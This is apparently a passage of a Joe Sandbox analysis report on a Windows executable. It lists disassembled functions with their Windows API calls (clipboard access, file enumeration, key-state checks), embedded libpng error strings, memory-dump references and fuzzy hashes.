Instruction Fuzzy Hash: CF41A271900614AFCF21AF65CA49A6FBFB5AF44711F10053BF502A22A1CBB99D409B99

Function 0041CD40 Relevance: 12.9, APIs: 8, Instructions: 865COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: db58516e07f48f594370e517b673d0fee49f24cbbadaa83ced703975a21f39c0
Instruction ID: d0e1dece39ae082e49864c1fe0609eca3016476cf22eb32685c8c4d6bcd78f9a
Opcode Fuzzy Hash: db58516e07f48f594370e517b673d0fee49f24cbbadaa83ced703975a21f39c0
Instruction Fuzzy Hash: 9D62C7B1A043019FD724DF25C880BAB77E5AFC5314F14452EF98A97381DB38E9868B5B

Function 00437920 Relevance: 12.1, APIs: 8, Instructions: 88clipboardmemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000042,?), ref: 00437997
GlobalLock.KERNEL32(00000000), ref: 004379B3
GlobalUnlock.KERNEL32(00000000), ref: 004379D5
OpenClipboard.USER32(00000000), ref: 004379DD
GlobalFree.KERNEL32(00000000), ref: 004379E9
EmptyClipboard.USER32 ref: 004379F1
SetClipboardData.USER32(0000C1B2,00000000), ref: 00437A03
CloseClipboard.USER32 ref: 00437A09

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyFreeLockOpenUnlock
String ID:
API String ID: 453615576-0
Opcode ID: e614765f107af57b92ac494eb6c84558a6acc0590d1c10151602422f8701aa53
Instruction ID: c5ec351305b9fc38d00647845f4853aa6695ebf948b43d12ff90d8958d9e3037
Opcode Fuzzy Hash: e614765f107af57b92ac494eb6c84558a6acc0590d1c10151602422f8701aa53
Instruction Fuzzy Hash: 7E31C0B2208201AFC714EB65DC45B6BBBE8EB89710F404A3EF952D3290DB38DC04CB65

Function 00411EF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00491AF1: InterlockedIncrement.KERNEL32(-000000F4), ref: 00491B06

FindFirstFileA.KERNEL32(?,?,*.*), ref: 00411F8A

Part of subcall function 0048F9CB: __EH_prolog.LIBCMT ref: 0048F9D0

Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90

SendMessageA.USER32 ref: 00412030
FindNextFileA.KERNEL32(?,00000010), ref: 0041203C
FindClose.KERNEL32(?), ref: 0041204F
SendMessageA.USER32(?,00001102,00000002,?), ref: 00412061

Strings

*.*, xrefs: 00411F72

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Find$FileInterlockedMessageSend$CloseDecrementFirstH_prologIncrementNext
String ID: *.*
API String ID: 2486832813-438819550
Opcode ID: e6f245ab42e962aa849562c81c20ef4ac41763d5ff1e981ad987297befe11bdf
Instruction ID: 9a4fdf72fdae72a79d3b9be3b5d39b1681dffb7a68659ad0acdbbe6442dedfc6
Opcode Fuzzy Hash: e6f245ab42e962aa849562c81c20ef4ac41763d5ff1e981ad987297befe11bdf
Instruction Fuzzy Hash: A1417E71504342AFD710DF24C941BDBBBE8AB88714F008E2EF695832A0DBB9E905CB56

Function 00437A80 Relevance: 10.6, APIs: 7, Instructions: 89clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 00437AAD
GetClipboardData.USER32(0000C1B2), ref: 00437AC6
CloseClipboard.USER32 ref: 00437AD2
GlobalSize.KERNEL32(00000000), ref: 00437B08
GlobalLock.KERNEL32(00000000), ref: 00437B10
GlobalUnlock.KERNEL32(00000000), ref: 00437B28
CloseClipboard.USER32 ref: 00437B2E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Clipboard$Global$Close$DataLockOpenSizeUnlock
String ID:
API String ID: 2237123812-0
Opcode ID: 63d93ba32da56281f45a1973b0825ac945a176a543fb05934d1d007e4a0e7faa
Instruction ID: 2946232522d95536477d595350b77dba1427a6e7918f9d41ae6edf9c15a6babd
Opcode Fuzzy Hash: 63d93ba32da56281f45a1973b0825ac945a176a543fb05934d1d007e4a0e7faa
Instruction Fuzzy Hash: 002191716042019FDB14AB25EC84E7FB7A9EF89354F04053AF946D3350EB28E9048669

Function 00447EAD Relevance: 10.5, Strings: 8, Instructions: 498COMMON

Download Yara Rule

Strings

rgb-alpha color-map: too few entries, xrefs: 004481B2
rgb[gray] color-map: too few entries, xrefs: 00447F2F
rgb color-map: too few entries, xrefs: 004480BC
bad background index (internal error), xrefs: 0044873F
color map overflow (BAD internal error), xrefs: 00448699
rgb[ga] color-map: too few entries, xrefs: 00447EF4
bad data option (internal error), xrefs: 00448648
rgb+alpha color-map: too few entries, xrefs: 004480F7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: bad background index (internal error)$bad data option (internal error)$color map overflow (BAD internal error)$rgb color-map: too few entries$rgb+alpha color-map: too few entries$rgb-alpha color-map: too few entries$rgb[ga] color-map: too few entries$rgb[gray] color-map: too few entries
API String ID: 0-1509944728
Opcode ID: 470f5c44a0ef0a3e39afc5f758ef99a53ea1e744cbe8072491444805494c9606
Instruction ID: cbbda347d0ded493795501c464df80f52ae16dabe9c9dc99c6cf08b11c4d4ce7
Opcode Fuzzy Hash: 470f5c44a0ef0a3e39afc5f758ef99a53ea1e744cbe8072491444805494c9606
Instruction Fuzzy Hash: DB02D0716183409BF714DE14CC81B6FB7E5EB95348F14052EF8889B382DBB9D886C79A

Function 00449D80 Relevance: 8.0, Strings: 6, Instructions: 536COMMON

Download Yara Rule

Strings

unexpected bit depth, xrefs: 00449E53
lost rgb to gray, xrefs: 00449DB0
unexpected 8-bit transformation, xrefs: 00449DF9
lost/gained channels, xrefs: 00449DE0
unexpected compose, xrefs: 00449DC4
unknown interlace type, xrefs: 00449E17

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: lost rgb to gray$lost/gained channels$unexpected 8-bit transformation$unexpected bit depth$unexpected compose$unknown interlace type
API String ID: 0-3614292578
Opcode ID: e7d93398d6d3b8f59f13955a67fa2ce9a8f2c488ef06acff28f4d041a2dba5e2
Instruction ID: 8843ae249acd9f913ccc57e71b1cd4ccd616e6491abb034998530ccd1fdcb61d
Opcode Fuzzy Hash: e7d93398d6d3b8f59f13955a67fa2ce9a8f2c488ef06acff28f4d041a2dba5e2
Instruction Fuzzy Hash: 1B12C1717483418BD718CF28C88066BB7E2BBC9304F58493EF98987381D679ED56CB4A

Function 00447B7B Relevance: 7.8, Strings: 6, Instructions: 309COMMON

Download Yara Rule

Strings

gray+alpha color-map: too few entries, xrefs: 00447B94
ga-alpha color-map: too few entries, xrefs: 00447BE7
bad background index (internal error), xrefs: 0044873F
color map overflow (BAD internal error), xrefs: 00448699
bad data option (internal error), xrefs: 00448648
gray-alpha color-map: too few entries, xrefs: 00447E05

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: bad background index (internal error)$bad data option (internal error)$color map overflow (BAD internal error)$ga-alpha color-map: too few entries$gray+alpha color-map: too few entries$gray-alpha color-map: too few entries
API String ID: 0-942498654
Opcode ID: 7f092479dec87cda620606dcdbe3774cfd094d8f461b8ec1506baf248336755b
Instruction ID: 0f0efed97a89f81727227d7b60834562e6dc27ff71735de050b67a2b86c6d834
Opcode Fuzzy Hash: 7f092479dec87cda620606dcdbe3774cfd094d8f461b8ec1506baf248336755b
Instruction Fuzzy Hash: A6B1F1B16083018BE314CF18D881B6FBBE5EBD8744F14092EF48597391DBB8D946C79A

Function 0048CDBC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00488384: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883C1
Part of subcall function 00488384: EnterCriticalSection.KERNEL32(?,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883DC

Part of subcall function 004883E5: LeaveCriticalSection.KERNEL32(?,004821B2,00000009,0048219E,00000000,?,00000000,00000000,00000000), ref: 004883F2

GetTimeZoneInformation.KERNEL32(0000000C,?,?,?,0000000B,0000000B,?,0048CDAD,0048C9A6,?,?,?,?,004832CE,?,?), ref: 0048CE0A
WideCharToMultiByte.KERNEL32(00000220,004FD56C,000000FF,0000003F,00000000,?,?,0048CDAD,0048C9A6,?,?,?,?,004832CE,?,?), ref: 0048CEA0
WideCharToMultiByte.KERNEL32(00000220,004FD5C0,000000FF,0000003F,00000000,?,?,0048CDAD,0048C9A6,?,?,?,?,004832CE,?,?), ref: 0048CED9

Strings

LL, xrefs: 0048CEEC, 0048D01F, 0048D02D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CriticalSection$ByteCharMultiWide$EnterInformationInitializeLeaveTimeZone
String ID: LL
API String ID: 3442286286-893286232
Opcode ID: 33b9fb3ea54bb3a550246d1029e2c34a07efd758c7fc77ada5ce04133758a26d
Instruction ID: 6fea677c551b89a46a972032f7a75a53774a888b93af3d525512460637293026
Opcode Fuzzy Hash: 33b9fb3ea54bb3a550246d1029e2c34a07efd758c7fc77ada5ce04133758a26d
Instruction Fuzzy Hash: E861F671904140AEE725BF1AAC85F3E7FAAAB06358F14493FE680872E1D7784942C76D

Function 0041B240 Relevance: 6.1, APIs: 4, Instructions: 94fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 0041B292
FindClose.KERNEL32 ref: 0041B2A1
FindFirstFileA.KERNEL32(?,?), ref: 0041B2AD
FindClose.KERNEL32(00000000), ref: 0041B30B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: e1c45ff34cca3cbdff46f116ecac45a886ae09d47451365c4df9e477169bf205
Instruction ID: 9b3adea7f253e936a35e3c4ef8610ec9023f88822ed3e093f0c8351e608c0baa
Opcode Fuzzy Hash: e1c45ff34cca3cbdff46f116ecac45a886ae09d47451365c4df9e477169bf205
Instruction Fuzzy Hash: 5B2106325047159BD3319A24C8887FF7394EB96324F15066AED6587390E73DDC8983CA

Function 0049535B Relevance: 6.0, APIs: 4, Instructions: 38keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3

GetKeyState.USER32(00000010), ref: 0049537F
GetKeyState.USER32(00000011), ref: 00495388
GetKeyState.USER32(00000012), ref: 00495391
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 004953A7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: 02e213d9dc350d8db8e5da009aeae7ac7ad5d772f06c4d4565f58d5cfe9bc47e
Instruction ID: 85d66032d16b79b03603af9d5e63bb3851b288cf952dbd52f11426784a92550e
Opcode Fuzzy Hash: 02e213d9dc350d8db8e5da009aeae7ac7ad5d772f06c4d4565f58d5cfe9bc47e
Instruction Fuzzy Hash: 99F0E93664274529ED3136572C02FF95A244F40BD4F20453BBF01AD2D189D88C820778

Function 0047C440 Relevance: 5.5, Strings: 4, Instructions: 500COMMON

Download Yara Rule

Strings

VUUU, xrefs: 0047C501
gfff, xrefs: 0047C47C
gfff, xrefs: 0047C4C3
VUUU, xrefs: 0047C5CF

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: VUUU$VUUU$gfff$gfff
API String ID: 0-376493243
Opcode ID: ff396dd44781f9516db52076cbac2c95aee96f99c6bd85f0b15d2326b9cfc549
Instruction ID: ff7888e0fec3d0c982f139879f6ce10c728387509897a2aae72d51293ea3e3dc
Opcode Fuzzy Hash: ff396dd44781f9516db52076cbac2c95aee96f99c6bd85f0b15d2326b9cfc549
Instruction Fuzzy Hash: CC026DB1A093018FD758CF19C58066BB7E2BBC8314F55982EF989DB311D778ED018B8A

Function 004523D0 Relevance: 5.5, Strings: 4, Instructions: 485COMMON

Download Yara Rule

Strings

internal row size calculation error, xrefs: 0045244B
internal row logic error, xrefs: 00452415
internal row width error, xrefs: 0045245D
invalid user transform pixel depth, xrefs: 00452649

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: internal row logic error$internal row size calculation error$internal row width error$invalid user transform pixel depth
API String ID: 0-64619857
Opcode ID: d018986041aac88a5a8184c3ac8aebd62c3be6ba5219913af01876425ca09d35
Instruction ID: 555788d65b2b5d47d3d157278c65f8a28aa01d8e3b7d53d3aff10cc70b2f776f
Opcode Fuzzy Hash: d018986041aac88a5a8184c3ac8aebd62c3be6ba5219913af01876425ca09d35
